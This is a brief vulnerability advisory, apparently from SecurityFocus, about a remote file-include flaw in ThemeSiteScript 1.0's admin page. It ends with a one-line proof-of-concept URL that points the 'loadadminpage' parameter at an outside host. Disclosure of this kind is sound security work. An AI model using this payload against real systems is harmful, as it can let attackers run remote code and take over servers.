source: https://www.securityfocus.com/bid/26998/info
ThemeSiteScript is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
ThemeSiteScript 1.0 is reported vulnerable; other versions may be affected as well.
http://www.example.com/admin/index.php?loadadminpage=http://www.example2.com